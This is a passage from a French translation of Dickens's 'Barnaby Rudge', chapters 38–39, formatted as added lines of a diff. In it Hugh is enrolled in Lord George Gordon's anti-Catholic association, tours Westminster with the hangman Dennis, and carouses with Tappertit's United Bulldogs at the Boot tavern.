+ce pas? demanda Hugh. Je ne suis pas un grand clerc, mais je l'ai
+montré à un ami, et il m'a assure que ça disait ça.
+
+-- Oui, c'est positif, répliqua Gashford en ouvrant des yeux aussi
+grands qu'une porte cochère. Voici bien la plus drôle de chose que
+j'aie jamais vue de ma vie. Comment cela vous est-il tombé entre
+les mains, mon bon ami?
+
+-- Maître Gashford, dit le bourreau tout bas, d'une voix étouffée,
+vous n'avez pas votre pareil dans tout Newgate[29].»
+
+Soit que Hugh l'eût entendu, ou qu'il eût vu, à l'air de Dennis,
+qu'on se moquait de lui, soit qu'il eût deviné de lui-même le
+manège de Gashford, il alla droit au but, brutalement, selon son
+habitude.
+
+«Voyons, cria-t-il en étendant sa main et reprenant l'affiche, ne
+vous occupez point de ce papier, de ce qu'il dit ou de ce qu'il ne
+dit pas. Vous n'y comprenez rien, maître ... ni moi non plus... ni
+lui non plus, ajouta-t-il en lançant un coup d'oeil à Dennis.
+Personne de nous ne sait ce que ça signifie ni d'où ça vient,
+c'est une affaire entendue. Tant il y a que je voudrais m'enrôler
+contre les catholiques; je suis antipapiste, et prêt à m'engager
+par serment. Voilà pourquoi je suis venu ici.
+
+-- Couchez-le sur la liste, maître Gashford, dit Dennis d'un air
+approbatif. C'est comme ça qu'on se met à la besogne: droit au
+but, sans barguigner et sans bavarder.
+
+-- À quoi ça sert-il de tirer sa poudre aux moineaux, mon vieux?
+cria Hugh.
+
+-- Mes sentiments tout crachés! répondit le bourreau. Voilà un
+gaillard comme il m'en faut dans ma division, maître Gashford.
+Prenez son nom, monsieur, couchez-le sur la liste. Je veux bien
+être son parrain, quand il faudrait pour son baptême faire un feu
+de joie des billets de la banque d'Angleterre.»
+
+M. Dennis accompagna ces témoignages de confiance, et d'autres
+compliments non moins flatteurs, d'une bonne tape sur le dos qu'il
+donna à Hugh, et que celui-ci lui rendit sans se faire attendre.
+
+«À bas le papisme, frère! cria le bourreau.
+
+-- À bas la propriété, frère! répondit Hugh.
+
+-- Le papisme, le papisme, dit le secrétaire avec son habituelle
+douceur.
+
+-- Tout ça, c'est la même chose! cria Dennis. Tout ça, c'est très
+bien. Le camarade a raison, maître Gashford. À bas tout le monde,
+à bas tout! Hourra pour la religion protestante! Voilà le vrai
+moment, maître Gashford!»
+
+Le secrétaire les regarda tous les deux avec une expression de
+physionomie très favorable, tandis qu'ils lâchaient la bride à
+toutes ces démonstrations de leurs sentiments patriotiques; et il
+allait faire quelque remarque à haute voix, quand Dennis,
+s'avançant vers lui et lui couvrant la bouche de sa main, lui dit
+tout bas de sa voix rauque, en lui poussant le coude:
+
+«Ne tranchez pas trop avec lui du magistrat constitutionnel,
+maître Gashford. Il y a des préjugés populaires, vous savez; il
+pourrait bien ne pas aimer ça. Attendez qu'il soit plus intime
+avec moi. C'est un gaillard bien bâti, n'est-ce pas?
+
+-- Un robuste compère, en vérité!
+
+-- Avez-vous jamais, maître Gashford, chuchota Dennis, avec
+l'espèce d'admiration sauvage et monstrueuse d'un cannibale
+affamé, en regardant son intime ami; avez-vous jamais (et alors il
+s'approcha plus près de l'oreille du secrétaire en cachant sa
+bouche de ses deux mains) vu une gorge comme celle-là? Jetez-y
+seulement les yeux. Quel col pour y passer la corde, maître
+Gashford!»
+
+Le secrétaire acquiesça à cette opinion de la meilleure grâce
+qu'il put y mettre: car il y a de ces jouissances de connaisseur
+qu'on ne peut guère simuler avec succès quand on n'est pas du
+métier; et, après avoir fait au candidat un petit nombre de
+questions peu importantes, il procéda à son enrôlement comme
+membre de la grande Association protestante de l'Angleterre. Si
+quelque chose avait pu surpasser la joie que causa à M. Dennis
+l'heureuse conclusion de cette cérémonie, c'aurait été le
+ravissement avec lequel il reçut la déclaration que le nouveau
+membre ne savait ni lire ni écrire: ces deux sciences étant,
+sacrebleu! dit M. Dennis, la plus grande malédiction qu'une
+société civilisée pût connaître, et causant plus de préjudice aux
+émoluments professionnels et aux profits du grand office
+constitutionnel qu'il avait l'honneur d'exercer, que n'importe
+quels autres fléaux qui pouvaient se présenter à son imagination.
+
+L'enrôlement étant achevé dans les formes et Gashford ayant
+instruit à sa manière le néophyte des vues pacifiques et
+strictement légales du corps auquel il avait l'honneur
+d'appartenir, cérémonie pendant laquelle Dennis joua souvent du
+coude et fit à Gashford diverses grimaces remarquables, le
+secrétaire leur fit entendre qu'il désirait être seul. Ils prirent
+donc congé de lui sans délai, et sortirent ensemble de la maison.
+
+«Vous promenez-vous, frère? dit Dennis.
+
+-- Oui! répliqua Hugh, où vous voudrez.
+
+-- Voilà ce qui s'appelle un bon camarade, dit son nouvel ami.
+Quel chemin allons-nous prendre? Voulez-vous que nous allions
+jeter un coup d'oeil aux portes où nous devons faire un joli
+tapage, avant qu'il soit longtemps? Qu'en dites-vous, frère?»
+
+Hugh ayant accepté cette offre, ils s'en allèrent tout doucement à
+Westminster, où les deux chambres du parlement étaient alors en
+séance. Se mêlant à la foule des carrosses, des chevaux, des
+domestiques, des porteurs de chaises, des porte-falots, des
+commissionnaires et des oisifs de tout genre, ils flânèrent aux
+alentours. Le nouvel ami de Hugh lui montra du doigt, d'une
+manière significative, les parties faibles de l'édifice; lui
+expliqua combien il était aisé de pénétrer dans le couloir, et par
+là à la porte même de la chambre des Communes; il lui fit voir
+enfin que, lorsqu'ils marcheraient en masse, leurs rugissements et
+leurs acclamations seraient facilement entendus à l'intérieur par
+les membres du parlement. Il ajouta beaucoup d'autres observations
+analogues, toutes reçues par Hugh avec un plaisir manifeste.
+
+Dennis lui nomma aussi quelques-uns des lords et des membres de la
+Chambre des communes, à mesure qu'ils entraient ou sortaient; il
+lui dit s'ils étaient amis ou ennemis des papistes, et il
+l'engagea à remarquer leurs livrées et leurs équipages, pour ne
+pas s'y tromper, en cas de besoin. Quelquefois il l'entraîna tout
+près de la portière d'un carrosse qui passait, afin que l'autre
+pût voir la figure du maître à la lueur des réverbères. Bref, sous
+le double rapport des personnes et des localités, il prouva une
+telle connaissance de tout ce qui l'entourait, qu'il fut évident
+pour Hugh que Dennis avait fait souvent de cet endroit l'objet de
+ses études antérieures, comme effectivement, lorsque leurs
+relations devinrent un peu plus confidentielles, ce dernier ne fit
+pas difficulté d'en convenir.
+
+Mais ce qu'il y avait dans tout cela de plus frappant, c'était le
+nombre de gens, jamais en groupes de plus de deux ou trois
+ensemble, qui semblaient se tenir cachés dans la foule pour le
+même motif. À la majeure partie de ces gens un léger signe de tête
+ou un simple regard du compagnon de Hugh était un salut suffisant;
+mais, de temps en temps, un homme venait et s'arrêtait auprès de
+Dennis dans la foule, et, sans tourner la tête ni paraître
+communiquer avec lui, lui disait un mot ou deux à voix basse. Puis
+ils se séparaient comme des étrangers. Quelques-uns de ces hommes
+reparaissaient souvent d'une façon inattendue dans la foule tout
+près de Hugh, et, en passant, lui serraient la main, ou le
+regardaient d'un air farouche en plein visage, mais jamais ils ne
+lui parlaient, ni lui à eux; non, pas un mot.
+
+Une chose remarquable encore, c'est que, quand il leur arrivait de
+se trouver là où il y avait presse, et que Hugh baissait par
+hasard les yeux, il était sûr de voir un bras allongé, sous le
+sien peut-être, ou peut-être par devant lui, pour jeter quelque
+papier dans la main ou la poche d'un spectateur, puis se retirer
+si soudainement qu'il était impossible de dire à qui il
+appartenait; Hugh ne pouvait pas non plus, en lançant un rapide
+coup d'oeil à la ronde, découvrir sur n'importe quelle figure la
+moindre confusion, ni la moindre surprise. Souvent ils marchaient
+sur un papier semblable à celui qu'il portait dans son sein; mais
+son compagnon lui disait à l'oreille de n'y pas toucher, de ne pas
+le relever, de ne pas même le regarder; ils le laissaient donc sur
+le pavé et passaient leur chemin.
+
+Lorsqu'ils eurent ainsi rôdé dans la rue et dans toutes les
+avenues de l'édifice durant près de deux heures, ils
+s'éloignèrent, et son ami lui demanda ce qu'il pensait de ce qu'il
+venait de voir, et s'il était prêt à quelque échauffourée, dans le
+cas où l'on en viendrait là.
+
+«Plus elle sera chaude, mieux ça vaudra, dit Hugh; je suis prêt à
+n'importe quoi.
+
+-- Je le suis également, dit son ami, et nous ne sommes pas les
+seuls.»
+
+Alors ils se donnèrent une poignée de mains avec un grand juron et
+nombre d'imprécations les plus terribles contre les papistes.
+
+Comme ils se sentaient altérés, Dennis proposa de se rendre
+ensemble à la Botte, où il y avait bonne compagnie et liqueurs
+fortes. Hugh ne s'étant pas fait prier, ils dirigèrent leurs pas
+de ce côté sans perdre de temps.
+
+Cette Botte était un établissement public situé à l'écart dans les
+champs, derrière l'hôpital des Enfants trouvés, lieu très
+solitaire à cette époque, et tout à fait désert après la brune. La
+taverne était à quelque distance de toute grande route; on n'en
+approchait que par une ruelle étroite et sombre: aussi Hugh fut-il
+très surpris de trouver là beaucoup de gens qui buvaient et
+faisaient bombance. Il fut encore plus surpris de retrouver parmi
+ces gens-là toutes les figures qui avaient attiré son attention
+dans la foule; mais son compagnon l'ayant prévenu tout bas avant
+d'entrer qu'il serait de mauvais genre à la Botte de faire
+attention à la société, il garda ses réflexions pour lui et n'eut
+pas l'air de connaître âme qui vive.
+
+Avant de porter à ses lèvres la liqueur qu'on leur avait servie,
+Dennis porta à haute voix la santé de lord Georges Gordon,
+président de la grande Association protestante; Hugh fit raison à
+ce toast avec le même enthousiasme. Un joueur de violon qui se
+trouvait là, et qui avait l'air de remplir les fonctions de
+ménestrel officiel de la compagnie, racla immédiatement un branle
+d'Écosse, et il y mit tant d'entrain que Hugh et son ami, qui
+avaient commencé par boire, se levèrent de leurs sièges comme d'un
+commun accord, et, à la grande admiration des hôtes réunis,
+exécutèrent une improvisation chorégraphique, la danse de Pas de
+papisme.
+
+
+
+
+CHAPITRE XXXIX.
+
+
+Les applaudissements que la danse exécutée par Hugh et son nouvel
+ami arracha aux spectateurs de la Botte n'avaient pas encore
+cessé, et les deux danseurs étaient encore tout haletants de leurs
+gambades, qui avaient été d'un caractère des plus violents, quand
+la compagnie reçut du renfort. Les nouveaux venus, composés d'un
+détachement des Bouledogues Unis, furent reçus avec des marques
+très flatteuses de distinction et de respect.
+
+Le chef de cette petite troupe (car ils n'étaient que trois en le
+comptant) était notre ancienne connaissance, M. Tappertit, qui
+semblait, physiquement parlant, être devenu plus petit avec les
+années, particulièrement des jambes: jamais vous n'en avez vu de
+plus fluettes; mais par exemple, au point de vue moral, en dignité
+personnelle, en estime de soi-même, il avait acquis des
+proportions gigantesques. Il ne fallait pas avoir l'esprit bien
+observateur pour découvrir ces sentiments chez l'ex-apprenti: car
+non seulement il les proclamait, de manière à faire impression et
+à éviter toute méprise, par sa majestueuse démarche et son oeil
+flamboyant, mais en outre il avait trouvé un moyen frappant de
+révélation dans son nez retroussé, qui semblait affecter pour
+toutes les choses de la terre le plus profond dédain, et ne
+voulait entrer en communion qu'avec le ciel, sa patrie.
+
+M. Tappertit, comme chef ou capitaine des Bouledogues, était
+accompagné de ses deux lieutenants: l'un, le long camarade de sa
+vie juvénile; l'autre, un chevalier apprenti au temps jadis, Marc
+Gilbert, engagé anciennement chez Thomas Curzon de la Toison d'or.
+Ces gentlemen, comme lui-même, étaient maintenant émancipés de
+leur esclavage d'apprenti, et servaient en qualité d'ouvriers;
+mais c'étaient, dans leur humble émulation de son grand exemple,
+des esprits hardis, audacieux, et ils aspiraient à un rôle
+distingué dans les grands événements politiques. De là leur
+alliance avec l'Association protestante d'Angleterre, sanctionnée
+par le nom de lord Georges Gordon; de là aussi leur visite
+actuelle à la Botte.
+
+«Gentlemen! dit M. Tappertit, en ôtant son chapeau comme fait un
+grand général qui s'adresse à ses troupes. Bonne rencontre! Milord
+me fait ainsi qu'à vous l'honneur de nous envoyer ses compliments
+personnels.
+
+-- Vous avez vu milord aussi, n'est-ce pas? dit Dennis; moi, je
+l'ai vu dans l'après-midi.
+
+-- Mon devoir m'appelait au couloir de la Chambre après la
+fermeture de notre boutique; et c'est là que je l'ai vu, monsieur,
+répliqua M. Tappertit, en même temps qu'il s'assit avec ses
+lieutenants. Comment vous portez-vous?
+
+-- À merveille, maître, à merveille, dit le luron. Voici un
+nouveau frère, inscrit en règle noir sur blanc, par maître
+Gashford. Il fera honneur à la cause, c'est un vrai sans-souci,
+une artère de mon coeur. Regardez-moi ça; n'est-ce pas qu'il a
+l'air d'un homme qui fera l'affaire? Qu'en dites-vous? cria-t-il
+en donnant une tape à Hugh sur le dos.
+
+-- Que j'en aie l'air ou pas l'air, dit Hugh, dont le bras fit un
+moulinet d'ivrogne, je suis l'homme qu'il vous faut. Je hais les
+papistes, tous du premier jusqu'au dernier. Ils me haïssent et je
+les hais. Ils me font tout le mal qu'ils peuvent, et je leur ferai
+tout le mal que je pourrai. Hourra!
+
+-- Y eut-il jamais, dit Dennis en regardant autour de la salle,
+lorsque l'écho de la voix pétulante de Hugh se fut évanoui, avez-
+vous jamais vu pareil gaillard? Tenez! vous me croirez si vous
+voulez, frères, mais maître Gashford aurait pu courir cent milles
+et enrôler cinquante hommes ordinaires, qu'ils n'auraient pas valu
+celui-ci.»
+
+La majeure partie de la société souscrivit implicitement à cette
+opinion, et témoigna sa confiance dans Hugh par des signes de tête
+et des coups d'oeil très significatifs. M. Tappertit, de son
+siège, le contempla longtemps en silence, comme s'il suspendait
+son jugement; puis il s'approcha de lui un peu plus près, pour
+l'examiner plus soigneusement, puis alla tout contre lui, et le
+prenant à part dans un coin sombre:
+
+«Dites-moi, demanda-t-il, en commençant son interrogatoire d'un
+front soucieux, ne vous ai-je pas déjà vu quelque part?
+
+-- C'est possible, dit Hugh de son ton indifférent. Je ne sais
+pas; je n'en serais pas étonné.
+
+-- Non, mais c'est chose facile à établir, répliqua Sim. Regardez-
+moi, m'avez-vous déjà vu? Il est probable que vous ne l'oublieriez
+pas, vous savez, si vous en aviez eu l'occasion? Regardez-moi,
+n'ayez pas peur; je ne vous ferai aucun mal. Regardez-moi bien,
+voyons, fixement.»
+
+La manière encourageante dont M. Tappertit fit cette demande, en y
+joignant l'assurance que l'autre ne devait pas avoir peur, amusa
+Hugh énormément; à ce point même qu'il ne vit rien du tout du
+petit homme qui était devant lui, quand il ferma les yeux dans un
+accès de fou rire qui secouait ses larges flancs. Il finit par en
+avoir mal aux côtes.
+
+«Allons! dit M. Tappertit, qui commençait à s'impatienter de se
+voir traité avec cette irrévérence, me connaissez-vous, mon gars?
+
+-- Non, cria Hugh. Ha ha ha! non, mais je voudrais bien vous
+connaître.
+
+-- Et moi je gagerais une pièce de sept shillings, dit
+M. Tappertit en se croisant les bras et le regardant en face, les
+jambes très écartées et solidement plantées sur le sol, que vous
+avez été palefrenier au Maypole.»
+
+Hugh ouvrit les yeux à ces mots, et le regarda d'un air fort
+surpris.
+
+«Et vous l'étiez en effet, dit M. Tappertit, en poussant Hugh,
+avec une condescendance enjouée. Mes yeux n'ont jamais trompé que
+les jolies femmes! Ne me connaissez-vous pas maintenant?
+
+-- Mais ne seriez-vous pas...? balbutia Hugh.
+
+-- Ne seriez-vous pas...? dit M. Tappertit. Vous n'en êtes donc
+pas encore bien sûr? vous vous rappelez Georges Varden, n'est-ce
+pas?»
+
+Certainement Hugh se le rappelait, et il se rappelait Dolly
+Varden, aussi; mais il ne le lui dit point.
+
+«Vous rappelez-vous que j'allai là-bas, avant d'avoir achevé mon
+apprentissage, et que j'y demandai des nouvelles d'un vagabond qui
+avait filé, laissant son père inconsolable en proie aux plus
+amères émotions, et tout ce qui s'ensuit? vous le rappelez-vous?
+dit M. Tappertit.
+
+-- Sans doute, je me le rappelle! cria Hugh. C'est là que je vous
+ai vu.
+
+-- C'est là que vous m'avez vu? dit M. Tappertit. Oui,
+certainement c'est là que vous m'avez vu! on n'y ferait pas grand-
+chose de bon sans moi. Ne vous rappelez-vous pas que je vous crus
+l'ami du vagabond, et qu'à ce propos j'étais au moment de vous
+chercher querelle? puis, qu'ayant reconnu que vous le détestiez
+plus que du poison, je voulus boire un coup avec vous? Ne vous
+rappelez-vous pas cela?
+
+-- Si fait! cria Hugh.
+
+-- Bien! et êtes-vous toujours dans les mêmes idées? dit
+M. Tappertit.
+
+-- Oui! rugit Hugh.
+
+-- Vous parlez en homme, dit M. Tappertit, et je vous donnerai une
+poignée de main.»
+
+Après ce langage conciliant, le geste suivit de près la parole.
+Hugh répondit avec empressement aux avances de l'autre, et la
+cérémonie s'accomplit avec des démonstrations de franche
+cordialité.
+
+«Il se trouve, dit M. Tappertit en regardant à la ronde toute la
+compagnie, que le frère... je ne sais pas son nom... et moi, nous
+sommes de vieilles connaissances... Vous n'avez plus jamais
+entendu parler de ce drôle, je suppose, hein?
+
+-- Pas un mot, répliqua Hugh. Je ne le désire pas. Je ne crois pas
+que jamais j'en entende parler. Il est mort depuis longtemps,
+j'espère.
+
+-- Espérons, en faveur de l'humanité en général et du bonheur de
+la société, espérons qu'il est mort, dit M. Tappertit en frottant
+ses jambes avec la paume de sa main, qu'il considérait de temps en
+temps dans l'intervalle. Votre autre main est-elle un peu plus
+propre? C'est la même chose. Bien. Je vous dois une autre poignée
+de main. Nous la tiendrons pour donnée, si vous n'y voyez pas
+d'objection.»
+
+Hugh se mit à rire derechef, et il se livra si complètement à sa
+folle humeur, que ses membres semblèrent se disloquer et tout son
+corps courir le risque d'éclater par morceaux, mais M. Tappertit,
+loin d'accueillir cette extrême gaieté de mauvaise grâce, daigna
+la prendre en très bonne part, et même il s'associa autant que le
+pouvait un personnage aussi grave et d'un rang aussi élevé, qui
+sait la réserve et le décorum qu'on doit s'attendre à voir garder
+en toute occasion par un homme qui occupe une haute position.
+
+M. Tappertit ne se borna pas là, comme eussent fait beaucoup de
+personnages publics, mais, ayant appelé ses deux lieutenants, il
+leur présenta Hugh avec les plus grandes recommandations déclarant
+que, par le temps qui courait, c'était un homme qui ne pouvait
+être trop bien traité. En outre, il lui fit l'honneur de remarquer
+que c'était une acquisition dont les Bouledogues Unis eux-mêmes
+seraient fiers, et, après s'être assuré, en le sondant qu'il était
+tout prêt à entrer volontiers dans la Société (car Hugh n'avait
+pas l'ombre d'un scrupule, et il se serait ligué ce soir-là avec
+n'importe quoi, ou n'importe qui, pour n'importe quel dessein), il
+voulut que les préliminaires indispensables fussent accomplis sur
+place. Cet honneur rendu à son grand mérite n'enchanta personne
+plus que M. Dennis, comme il le proclama lui-même avec force
+jurons des plus satisfaisants, et véritablement l'assemblée tout
+entière en ressentit une satisfaction infinie.
+
+«Faites de moi ce que vous voudrez! cria Hugh en agitant en l'air
+le pot qu'il avait déjà vidé plus d'une fois. Imposez-moi le
+service quelconque qui vous plaira Je suis votre homme. Je
+remplirai mon devoir. Voici mon capitaine... voici mon chef. Ha ha
+ha! Qu'il m'en donne l'ordre, je combattrai à moi seul tout le
+parlement, ou je mettrai une torche allumée au trône même du roi!»
+
+En disant cela, il frappa M. Tappertit sur le dos avec une telle
+violence que son petit corps en parut réduit à sa plus simple
+expression, puis il recommença ses éclats de rire à réveiller en
+sursaut, dans leurs lits, les enfants trouvés du voisinage.
+
+Le fait est que l'idée du singulier patronage auquel il se
+trouvait accouplé avait pour lui quelque chose de si comique que
+son rude cerveau ne pouvait s'en détacher. La simple circonstance
+d'avoir pour patron ce grand homme qu'il eût écrasé d'une main,
+s'offrit à ses yeux sous des couleurs si excentriques et si
+fantasques, qu'une sorte de gaieté sauvage le possédait tout
+entier et subjuguait tout à fait sa brutale nature. Il réitéra ses
+éclats de rire, porta cent toasts à M. Tappertit, se déclara
+Bouledogue jusque dans la moelle des os, et jura de lui être
+fidèle jusqu'à la dernière goutte de sang qui coulait dans ses
+veines.
+
+M. Tappertit reçut tous ces compliments comme choses fort
+naturelles... peut-être un peu flatteuses dans leur genre, mais
+dont on ne devait attribuer l'exagération qu'à son immense
+supériorité. Son aplomb plein de dignité ne fit que réjouir Hugh
+encore davantage, en un mot, le géant et le nain contractèrent une
+amitié qui promettait d'être durable: car l'un regardait le
+commandement comme son droit légitime, et l'autre considérait
+l'obéissance comme une exquise plaisanterie, et, pour faire voir
+qu'il ne serait pas un de ces acolytes passifs, qui se font
+scrupule d'agir sans ordres précis et définis, lorsque
+M. Tappertit monta sur un tonneau vide qui était debout en guise
+de tribune, dans la salle, et qu'il improvisa un speech sur la
+crise alarmante prête à éclater, le gaillard Hugh alla se placer à
+côté de l'orateur, et, bien qu'il ricanât d'une oreille à l'autre
+à chaque mot que disait son capitaine, il adressa aux railleurs
+des avertissements si expressifs par la manoeuvre de son gourdin,
+que ceux qui étaient d'abord les plus disposés à interrompre
+l'orateur devinrent d'une attention remarquable et furent les
+premiers à témoigner hautement leur approbation.
+
+Tout n'était pas néanmoins tapage et badinage à la Botte, toute la
+compagnie n'écoutait pas le speech. Il y avait, à l'autre bout de
+la salle (longue chambre, basse de plafond), quelques hommes en
+conversation sérieuse pendant ce temps-là. Lorsqu'un des
+personnages de ce groupe s'en allait dehors, on était sûr de voir
+de nouvelles recrues entrer après et s'asseoir à leur tour, comme
+si on devait les relever de faction, et il était assez clair que
+la chose se passait ainsi, car ces changements avaient lieu de
+demi-heure en demi-heure, au coup de l'horloge. Ces personnes
+chuchotaient beaucoup entre elles, se tenaient à distance et
+regardaient souvent alentour, comme si elles ne voulaient pas que
+leurs discours fussent entendus. Deux ou trois d'entre elles
+consignaient dans des registres les rapports des autres, à ce
+qu'il semblait; quand elles n'étaient pas occupées de ce soin,
+l'une d'elles recourait aux journaux qui étaient éparpillés sur la
+table, et lisait aux autres, à voix basse, dans la Chronique de
+Saint-James, le Messager, la Chronique ou l'Avertisseur public,
+quelque passage relatif à la question qui les intéressait tous si
+profondément. Mais ce qui attirait le plus leur attention, c'était
+un pamphlet intitulé le Foudroyant, qui avait épousé leurs
+opinions et que l'on supposait, à cette époque, émaner directement
+de l'Association. Il était toujours demandé, et, soit qu'il fût lu
+tout haut à un petit groupe avide ou médité par un lecteur isolé,
+la lecture en était infailliblement suivie d'une conversation
+orageuse et de regards très animés.
+
+Au milieu de son allégresse et de son admiration pour son
+capitaine, Hugh reconnut, à ces signes et d'autres encore, l'air
+de mystère qui l'avait déjà frappé avant d'entrer. Il était clair
+comme le jour qu'il y avait là-dessous quelque projet sérieux, et
+que les bruyantes régalades du cabaret cachaient des menées
+dangereuses. Peu ému de cette découverte, il n'en était pas moins
+satisfait de ses quartiers, et il y serait demeuré jusqu'au matin
+si son conducteur ne s'était levé bientôt après minuit pour
+rentrer chez lui. M. Tappertit, ayant suivi l'exemple de
+M. Dennis, ne laissa plus à Hugh aucun prétexte de rester. Ils
+quittèrent donc ensemble la taverne tous les trois, en braillant
+une chanson de _Pas de papisme_ à faire retentir toute la campagne
+de ce vacarme affreux.
+
+«Allez, capitaine! cria Hugh lorsqu'ils eurent braillé jusqu'à en
+perdre la respiration. Encore un couplet!»
+
+M. Tappertit, sans la moindre répugnance, recommença; et le trio
+continua sa route d'un pas chancelant, bras dessus, bras dessous,
+poussant des cris enragés et défiant le guet avec une grande
+valeur. Il est vrai qu'il n'y avait pas à cela une grande bravoure
+ni une hardiesse exagérée, vu que les watchmen d'alors, n'ayant
+pas d'autres titres à leur emploi qu'un âge très avancé et des
+infirmités constatées, s'enfermaient d'habitude hermétiquement et
+vivement dans leurs guérites aux premiers symptômes de troubles et
+n'en sortaient que quand ils avaient disparu. M. Dennis, qui avait
+une voix de basse-taille et des poumons d'une puissance
+considérable se distinguait particulièrement dans ce genre, ce qui
+lui fit beaucoup d'honneur auprès de ses deux compagnons.
+
+«Quel drôle de garçon vous êtes! dit M. Tappertit. Vous êtes
+joliment discret et réservé. Pourquoi ne dites-vous jamais votre
+profession?
+
+-- Répondez tout de suite au capitaine, cria Hugh en lui enfonçant
+son chapeau sur la tête. Pourquoi ne dites-vous jamais votre
+profession?
+
+-- J'ai une profession aussi distinguée, frère, que n'importe quel
+gentleman en Angleterre... une occupation aussi douce que
+n'importe quel gentleman peut en désirer une.
+
+-- Avez-vous fait un apprentissage? demanda M. Tappertit.
+
+-- Non. Génie naturel, dit M. Dennis. Pas d'apprentissage. Ça
+m'est venu tout seul. Maître Gashford connaît ma profession.
+Regardez cette main que voici; eh bien! elle a fait plus d'une
+besogne avec une propreté et une dextérité inconnues auparavant.
+Lorsque je regarde cette main, dit M. Dennis en l'agitant en
+l'air, et que je me rappelle les élégantes besognes qu'elle a
+troussées, je me sens tout à fait mélancolique de penser que je
+deviens vieux et faible. Mais voilà la vie du monde!»
+
+Il poussa un profond soupir en s'abandonnant à ces réflexions,
+puis, mettant d'un air distrait ses doigts sur la gorge de Hugh,
+et particulièrement sous l'oreille gauche comme s'il étudiait le
+développement anatomique de cette partie de sa constitution, il
+hocha la tête d'une manière consternée et versa de vraies larmes.
+
+«Vous êtes une espèce d'artiste, je suppose... hein? dit
+M. Tappertit.
+
+-- Oui, répliqua Dennis, oui... Je peux m'appeler un artiste... un
+ouvrier de fantaisie, «l'art embellit la nature;» telle est ma
+devise.
+
+-- Et comment appelez-vous ceci? dit M. Tappertit en lui prenant
+le bâton qu'il avait à la main.
+
+-- C'est mon portrait qui est en haut, répliqua Dennis, le
+trouvez-vous ressemblant?
+
+-- Eh! mais... il est un peu trop beau, dit M. Tappertit. Qui l'a
+fait? Vous?
+
+-- Moi! repartit Dennis en contemplant avec tendresse son image.
+Je voudrais bien avoir ce talent. Cela fut sculpté par un de mes
+amis, qui n'existe plus. La veille même de sa mort, il tailla cela
+de mémoire avec son couteau de poche! «Je mourrai bravement, dit
+mon ami, et mes derniers instants seront consacrés à faire le
+portrait de Dennis» Voilà ce que c'est.
+
+-- Voilà une drôle d'idée! dit M. Tappertit.
+
+-- Ah! oui, une drôle d'idée! répliqua l'autre en soufflant sur le
+nez de son image et le polissant avec le manche de son habit, mais
+c'était aussi un drôle de sujet... une espèce de bohémien... un
+des plus beaux hommes et des mieux découplés que vous ayez jamais
+vus. Ah! il me dit des choses qui vous feraient joliment
+tressaillir, cet ami-là, le matin du jour où il mourut.
+
+-- Vous étiez donc avec lui dans ce moment-le? dit M. Tappertit.
+
+-- Mais, oui, répondit Dennis avec un regard singulier, j'y étais.
+Oh! certainement que j'y étais! Sans moi, il ne serait point parti
+pour l'autre monde aussi confortablement de moitié. Je m'étais
+trouvé avec trois ou quatre membres de sa famille dans les mêmes
+circonstances. C'étaient tous de beaux garçons.
+
+-- Ils devaient bien vous aimer, remarqua M, Tappertit en lui
+lançant un coup d'oeil oblique.
+
+-- Je ne sais pas s'ils m'aimaient bien, en effet, dit Dennis avec
+quelque hésitation, mais ils m'eurent tous auprès d'eux à leur
+décès. Aussi j'ai honte de leur garde-robe. Ce foulard que vous
+voyez autour de mon cou appartenait à celui dont je vous parle,
+celui qui fit ce portrait.»
+
+M Tappertit regarda l'article désigné, et parut se dire en lui-
+même que le défunt avait sur la toilette des idées particulières,
+et qui dans tous les cas, n'étaient pas ruineuses. Il n'en fit
+cependant pas tout haut la remarque, et laissa son mystérieux
+camarade continuer sans interruption.
+
+«Cette culotte dit Dennis en frottant ses jambes, cette culotte
+même... elle appartenait à un de mes amis qui a échappé pour
+toujours aux tribulations d'ici-bas: cet habit aussi ... j'ai
+souvent marché derrière cet habit, dans les rues, en me demandant
+s'il ne me reviendrait pas quelque jour; cette paire de souliers a
+dansé une bourrée, aux pieds d'un autre individu, devant mes yeux,
+une demi-douzaine de fois au moins, et quant à mon chapeau, dit il
+en l'ôtant et le faisant tourner sur son poing, Seigneur Dieu!
+quand je pense que j'ai vu ce chapeau monter Holborn sur le siège
+d'une voiture de louage... ah! bien des fois, bien des fois!
+
+-- Vous ne voulez pas dire que ceux qui ont porté jadis ces objets
+soient tous morts, j'espère? dit M. Tappertit, s'éloignant un peu
+de lui en lui posant cette question.
+
+-- Il n'y en a pas un qui soit en vie, répliqua Dennis, pas un,
+depuis le premier jusqu'au dernier.»
+
+Il y avait quelque chose de si lugubre dans cette circonstance, et
+qui expliquait d'une manière si étrange et si horrible son
+habillement fané, décoloré, peut-être par la terre des tombeaux,
+que M. Tappertit annonça brusquement qu'il suivait un autre
+chemin, et s'arrêta tout court pour lui souhaiter le bonsoir de
+tout son coeur. Comme ils se trouvaient près de Old-Bailey[30], et
+que M. Dennis se rappela qu'il y avait des porte-clefs dans la
+loge du concierge avec lesquels il pourrait passer la nuit à
+discuter sur des sujets intéressants pour eux tous, sur quelque
+point de sa profession, au coin du feu, en vidant le petit verre
+de l'amitié, il se sépara de ses compagnons sans trop de regret,
+et ayant échangé une cordiale poignée de main avec Hugh en lui
+donnant rendez vous pour le lendemain matin, de bonne heure, à la
+Botte, il les laissa poursuivre leur route.
+
+«C'est un drôle de corps, dit M. Tappertit en observant le chapeau
+de feu le cocher de fiacre descendre la rue avec un mouvement
+oscillatoire. Je ne peux pas deviner ce qu'il est. Pourquoi donc
+n'a t-il pas des culottes de commande comme tout le monde? Qu'est-
+ce qui l'empêche de porter des habits de vivant?
+
+-- C'est un homme chanceux, capitaine, cria Hugh. Je voudrais bien
+avoir des amis tels que les siens.
+
+-- J'espère toujours qu'il ne leur fait pas faire leur testament
+pour les assommer ensuite, dit M. Tappertit d'un air soucieux.
+Mais allons, les Bouledogues Unis m'attendent. En avant!...
+Qu'est-ce que vous avez?
+
+-- Quelque chose que j'avais tout à fait oublié, dit Hugh, qui
+venait de tressaillir en entendant une horloge voisine. J'ai
+quelqu'un à voir cette nuit... Il faut que je retourne tout de
+suite sur mes pas. Tandis que nous étions là à boire et à chanter,
+ça m'était sorti de la tête. C'est bien heureux que je me le sois
+rappelé.»
+
+M. Tappertit le regarda comme s'il eût été sur le point d'exprimer
+quelques reproches majestueux au sujet de cet acte de désertion;
+mais la précipitation de Hugh montrant clairement que l'affaire
+était pressante, il lui fit grâce de ses observations, et lui
+accorda la permission de partir sur-le-champ, faveur précieuse que
+l'autre reconnut par un grand éclat de rire.
+
+«Bonne nuit, capitaine! cria-t-il. Je suis à vous à la vie à la
+mort, souvenez-vous-en.
